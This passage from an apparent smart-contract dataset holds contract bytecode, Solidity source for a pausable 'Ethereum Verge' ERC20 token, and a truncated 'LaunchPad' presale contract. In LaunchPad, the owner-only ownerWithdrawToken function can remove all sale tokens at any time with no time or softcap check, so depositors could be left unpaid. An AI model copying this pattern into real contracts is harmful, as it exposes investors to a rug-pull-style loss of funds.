6001019060200180831161059b57829003601f168201915b5050505050905090565b60006105d66105cf610cb8565b8484610cbc565b50600192915050565b60025490565b6105ee33610da8565b61062d576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b61063681610dc1565b6106715760405162461bcd60e51b81526004018080602001828103825260268152602001806114a96026913960400191505060405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006106a2848484610dc7565b610718846106ae610cb8565b610713856040518060600160405280602881526020016114cf602891396001600160a01b038a166000908152600160205260408120906106ec610cb8565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f2316565b610cbc565b5060019392505050565b60055460ff1690565b60006105d6610738610cb8565b846107138560016000610749610cb8565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610fba16565b610789338261101b565b50565b6001600160a01b031660009081526020819052604090205490565b6107b18282611117565b5050565b60055461010090046001600160a01b031690565b6107d233610da8565b610811576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d602081101561088557600080fd5b505190506108a36001600160a01b038416838363ffffffff61115c16565b505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105b85780601f1061058d576101008083540402835291602001916105b8565b60006105d6610916610cb8565b84610713856040518060600160405280602581526020016115cf6025913960016000610940610cb8565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f2316565b6001600160a01b03821660009081526006602052604081205460ff16156109ba576040805160008152602081019091526109b490849084906109ec565b506105d6565b6109c483836111ae565b5050600192915050565b6001600160a01b031660009081526006602052604090205460ff1690565b60006109f884846105c2565b610a0157600080fd5b604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610a7b578181015183820152602001610a63565b50505050905090810190601f168015610aa85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610aca57600080fd5b505af1158015610ade573d6000803e3d6000fd5b506001979650505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610b2033610da8565b610b5f576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b6001600160a01b038116610ba45760405162461bcd60e51b815260040180806020018281038252602681526020018061143b6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b610c1433610da8565b610c53576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b610c5c816109ce565b610c975760405162461bcd60e51b81526004018080602001828103825260248152602001806115ab6024913960400191505060405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b3390565b6001600160a01b038316610d015760405162461bcd60e51b815260040180806020018281038252602481526020018061155d6024913960400191505060405180910390fd5b6001600160a01b038216610d465760405162461bcd60e51b81526004018080602001828103825260228152602001806114616022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60055461010090046001600160a01b0390811691161490565b3b151590565b6001600160a01b038316610e0c5760405162461bcd60e51b81526004018080602001828103825260258152602001806115386025913960400191505060405180910390fd5b6001600160a01b038216610e515760405162461bcd60e51b81526004018080602001828103825260238152602001806113f66023913960400191505060405180910390fd5b610e9481604051806060016040528060268152602001611483602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f2316565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610ec9908263ffffffff610fba16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610fb25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f77578181015183820152602001610f5f565b50505050905090810190601f168015610fa45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611014576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0382166110605760405162461bcd60e51b81526004018080602001828103825260218152602001806115176021913960400191505060405180910390fd5b6110a381604051806060016040528060228152602001611419602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f2316565b6001600160a01b0383166000908152602081905260409020556002546110cf908263ffffffff6111c216565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b611121828261101b565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546107b1918491610713908563ffffffff6111c216565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526108a3908490611204565b60006105d66111bb610cb8565b8484610dc7565b600061101483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f23565b61120d826113b9565b61125e576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061129c5780518252601f19909201916020918201910161127d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146112fe576040519150601f19603f3d011682016040523d82523d6000602084013e611303565b606091505b50915091508161135a576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156113b35780806020019051602081101561137657600080fd5b50516113b35760405162461bcd60e51b815260040180806020018281038252602a815260200180611581602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906113ed5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f6b656e3a206163636f756e74206973206e6f74206120736d6172742d636f6e747261637445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e3a206163636f756e74206973206e6f7420726567697374657265642079657445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582030069d0ad2e5408fedfeb9b5378134418ed0518d6c7f329f1ace538176f7cff564736f6c634300050c0032
|
{"success": true, "error": null, "results": {}}
| 9,304 |
0x79506c45c2d362c658a80111d5b32ff31a5ea3fc
|
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract EthereumVerge is PausableToken {
string public name = "Ethereum Verge";
string public symbol = "ETHV";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 15000000000000000000000000;
function EthereumVerge() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b557806323b872dd146101da5780632ff2e9dc14610202578063313ce567146102155780633f4ba83a146102285780635c975abb1461023d578063661884631461025057806370a08231146102725780638456cb59146102915780638da5cb5b146102a457806395d89b41146102d3578063a9059cbb146102e6578063d73dd62314610308578063dd62ed3e1461032a578063f2fde38b1461034f575b600080fd5b341561010057600080fd5b61010861036e565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014457808201518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018a57600080fd5b6101a1600160a060020a036004351660243561040c565b604051901515815260200160405180910390f35b34156101c057600080fd5b6101c8610437565b60405190815260200160405180910390f35b34156101e557600080fd5b6101a1600160a060020a036004358116906024351660443561043d565b341561020d57600080fd5b6101c861046a565b341561022057600080fd5b6101c8610470565b341561023357600080fd5b61023b610476565b005b341561024857600080fd5b6101a16104f5565b341561025b57600080fd5b6101a1600160a060020a0360043516602435610505565b341561027d57600080fd5b6101c8600160a060020a0360043516610529565b341561029c57600080fd5b61023b610544565b34156102af57600080fd5b6102b76105c8565b604051600160a060020a03909116815260200160405180910390f35b34156102de57600080fd5b6101086105d7565b34156102f157600080fd5b6101a1600160a060020a0360043516602435610642565b341561031357600080fd5b6101a1600160a060020a0360043516602435610666565b341561033557600080fd5b6101c8600160a060020a036004358116906024351661068a565b341561035a57600080fd5b61023b600160a060020a03600435166106b5565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104045780601f106103d957610100808354040283529160200191610404565b820191906000526020600020905b8154815290600101906020018083116103e757829003601f168201915b505050505081565b60035460009060a060020a900460ff161561042657600080fd5b6104308383610750565b9392505050565b60005481565b60035460009060a060020a900460ff161561045757600080fd5b6104628484846107bc565b949350505050565b60075481565b60065481565b60035433600160a060020a0390811691161461049157600080fd5b60035460a060020a900460ff1615156104a957600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561051f57600080fd5b610430838361093e565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461055f57600080fd5b60035460a060020a900460ff161561057657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104045780601f106103d957610100808354040283529160200191610404565b60035460009060a060020a900460ff161561065c57600080fd5b6104308383610a38565b60035460009060a060020a900460ff161561068057600080fd5b6104308383610b33565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146106d057600080fd5b600160a060020a03811615156106e557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156107d357600080fd5b600160a060020a0384166000908152600160205260409020548211156107f857600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561082b57600080fd5b600160a060020a038416600090815260016020526040902054610854908363ffffffff610bd716565b600160a060020a038086166000908152600160205260408082209390935590851681522054610889908363ffffffff610be916565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546108d1908363ffffffff610bd716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561099b57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556109d2565b6109ab818463ffffffff610bd716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610a4f57600080fd5b600160a060020a033316600090815260016020526040902054821115610a7457600080fd5b600160a060020a033316600090815260016020526040902054610a9d908363ffffffff610bd716565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ad2908363ffffffff610be916565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b6b908363ffffffff610be916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610be357fe5b50900390565b60008282018381101561043057fe00a165627a7a7230582022448e3e66b96401a0a2159af1487403a376986a3df5d99989023adab3ef62580029
|
{"success": true, "error": null, "results": {}}
| 9,305 |
0x6305b173115128C7951D222f794Ef8Cfc7f75830
|
/**
*Submitted for verification at Etherscan.io on 2022-03-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LaunchPad is Ownable {
using SafeMath for uint256;
IERC20 public token;
struct Tier{
uint256 maxDeposit;
uint256 minDeposit;
}
struct UserInfo {
uint256 tier;
uint256 deposit;
bool withdawn;
}
mapping(uint256 => Tier) public tiers;
mapping(address => UserInfo) public userInfo;
uint256 public _TOTAL_SOLD_TOKEN;
uint256 public _TOTAL_DEPOSIT;
uint256 public _RATE;
uint256 public _CAP_SOFT;
uint256 public _CAP_HARD;
uint256 public _TIME_START;
uint256 public _TIME_END;
uint256 public _TIME_RELEASE;
bool public _PUBLIC_SALE = false;
receive() external payable {
deposit();
}
function ownerWithdrawETH() public onlyOwner{
require(block.timestamp > _TIME_END, "Presale haven't finished yet");
require(_TOTAL_DEPOSIT >= _CAP_SOFT, "Presale didn't hit softcap");
payable(msg.sender).transfer(address(this).balance);
}
function ownerWithdrawToken() public onlyOwner{
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function setTokenForPresale(address _tokenAddress) public onlyOwner{
token = IERC20(_tokenAddress);
}
function setWhitelist(address[] calldata accounts, uint256 tier) public onlyOwner {
require(tier < 4);
for( uint256 i = 0; i < accounts.length; i++){
userInfo[accounts[i]].tier = tier;
}
}
function setupTier(uint256 tierId, uint256 maxDeposit, uint256 minDeposit) public onlyOwner{
require(tierId <=3, "There are 3 tiers");
tiers[tierId].minDeposit = minDeposit;
tiers[tierId].maxDeposit = maxDeposit;
}
function setupPresale(uint256 start, uint256 end, uint256 release, uint256 rate, uint256 softcap, uint256 hardcap) public onlyOwner{
_RATE = rate;
_CAP_SOFT = softcap;
_CAP_HARD = hardcap;
_TIME_START = start;
_TIME_END = end;
_TIME_RELEASE = release;
}
function openSalePubicly(bool opened) public onlyOwner {
_PUBLIC_SALE = opened;
}
function deposit() public payable {
uint256 tier = userInfo[msg.sender].tier;
require(block.timestamp >= _TIME_START && block.timestamp <= _TIME_END, "Presale is not active this time");
if(!_PUBLIC_SALE){
require(tier > 0, "This wallet is not allowed to join the launchpad");
require(msg.value >= tiers[tier].minDeposit, "Please check minimum amount contribution");
require(userInfo[msg.sender].deposit.add(msg.value) <= tiers[tier].maxDeposit, "Check max contribution per wallet");
}else {
// Open publicly, tier 0
require(msg.value >= tiers[0].minDeposit, "Please check minimum amount contribution");
require(userInfo[msg.sender].deposit.add(msg.value) <= tiers[0].maxDeposit, "Check max contribution per wallet");
}
require(_TOTAL_DEPOSIT.add(msg.value) <= _CAP_HARD, "Exceed HARD CAP");
userInfo[msg.sender].deposit = userInfo[msg.sender].deposit.add(msg.value);
_TOTAL_DEPOSIT = _TOTAL_DEPOSIT.add(msg.value);
_TOTAL_SOLD_TOKEN = _TOTAL_DEPOSIT.mul(_RATE).mul(10**token.decimals()).div(10**18);
}
function withdraw() public {
require(block.timestamp > _TIME_END, "Presale haven't finished yet");
require(!userInfo[msg.sender].withdawn, "Already withdawn!");
if(_TOTAL_DEPOSIT < _CAP_SOFT){
if(userInfo[msg.sender].deposit > 0){
payable(msg.sender).transfer(userInfo[msg.sender].deposit);
userInfo[msg.sender].withdawn = true;
}
}else {
require(block.timestamp > _TIME_RELEASE, "Please check token release time");
token.transfer(msg.sender, userInfo[msg.sender].deposit.mul(_RATE).mul(10**token.decimals()).div(10**18));
userInfo[msg.sender].withdawn = true;
}
